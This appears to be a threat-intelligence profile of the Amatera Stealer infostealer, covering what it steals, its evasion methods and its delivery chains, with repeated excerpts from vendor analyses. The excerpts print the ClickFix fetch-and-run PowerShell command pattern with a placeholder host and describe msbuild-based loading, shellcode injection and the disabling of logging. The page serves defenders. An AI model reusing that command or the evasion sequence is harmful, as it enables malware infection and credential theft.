Amatera Stealer is a Windows-focused malware-as-a-service infostealer and a rebranded successor to ACR Stealer, with reporting also linking its lineage to AcridRain and GrMsk-related development. It is written in C++ and has been actively developed, with newer versions adding stronger obfuscation, anti-analysis logic, direct or low-level networking, and expanded data-theft coverage. The malware is positioned in criminal markets as a commodity stealer and has been observed as a final payload in multiple loader and social-engineering ecosystems.
Amatera is designed to harvest sensitive information from infected systems, including browser credentials and stored data, session data, cryptocurrency wallets and wallet extensions, browser extensions, messaging and email application data, password-manager material, SSH and FTP tool data, and selected local files. Recent reporting indicates expanded targeting of numerous browsers, wallet extensions, desktop wallet applications, Discord and Signal data, and files in user download locations associated with seed phrases, private keys, passwords, wallet exports, and related artifacts. Some variants can also download and execute additional payloads.
The malware has been associated with techniques intended to reduce visibility and hinder analysis. Reported capabilities include anti-debugging and anti-sandbox checks, geofencing or environment checks, dynamic API resolution, syscall-based evasion, in-memory loading, and process injection. Multiple analyses describe Amatera or its delivery chains using direct or unusual networking methods, including NTSockets-style communication and encrypted command-and-control exchanges. Some reporting also states that Amatera can bypass Chrome App-Bound Encryption by injecting shellcode into Chromium-based browsers to access protected data.
Amatera has been delivered through a wide range of intrusion chains. Observed distribution methods include ClickFix-style fake CAPTCHA and verification lures that trick users into pasting commands into the Windows Run dialog, fake game, mod, crack, and software downloads, malvertising, and compromised-site web inject chains such as ClearFake. Delivery ecosystems and loaders observed leading to Amatera include RenPy Loader or RenEngine Loader, CountLoader, GoFlateLoader, and MSHTA-based chains, with some campaigns also using EtherHiding or blockchain-based dead-drop resolution to conceal follow-on infrastructure. It has also appeared in campaigns targeting developers through fake AI-tool installation pages.
Victimology is broad and largely financially motivated, spanning commodity infections and enterprise environments. Reported targeting includes finance-sector victims and users seeking pirated software, games, developer tools, or fake verification workflows. Amatera is widely treated as an emerging alternative commodity stealer in the post-Lumma disruption landscape.
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1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
In late April 2026, eSentire's Threat Response Unit (TRU) intercepted an attempted delivery of Amatera Stealer within a customer environment in the Finance industry. Amatera Stealer is a rebranded version of ACR (AcridRain) Stealer, a C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access Drive-by Compromise; User Execution ClickFix lure prompts command execution.
This command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe.
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Another interesting feature that was not previously documented relative to this malware is its use of WoW64 Syscalls... this sample defines various functions that stage a Windows API to be resolved and executed dynamically. | The code used to initialize contact with the C2 at this stage leverages NTSockets by interfacing with the device “\\Device\\Afd\\Endpoint” directly, rather than using the Winsock library.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
The .csproj file contained obfuscated logic that reconstructs and runs another layer of Base64-encoded PowerShell... This third PowerShell script is again heavily obfuscated and uses XOR encoding.
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.
The script first disables PowerShell logging and suppresses output by setting all preference variables (such as ErrorActionPreference, VerbosePreference, etc.) to SilentlyContinue and overriding built-in functions like Write-Host.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
Reads the config data/.GEg and decrypts it using Base64 decoding and XOR... XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP... During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.
The malware initiates contact with its configured command and control (C2) server via HTTP shortly after execution... Samples of Amatera Stealer observed in May 2025 contain code which suggests new support for HTTPS requests.
190 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
52 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Infostealer final de la chaîne d’infection, conçu pour voler mots de passe et données de navigateurs, portefeuilles de cryptomonnaies, extensions de navigateur, applications de messagerie, fichiers locaux, identifiants et données de session.
A stealer family referenced as using the same Python runtime plus payload delivery vehicle seen in this ecosystem.
An infostealer that steals passwords, browser data, cryptocurrency wallet data, browser extension data, messaging app data, and local files; stolen credentials and session data can enable account compromise.
An infostealer that targets passwords and other sensitive data from browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. It can also steal credentials and session data that enable account access.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.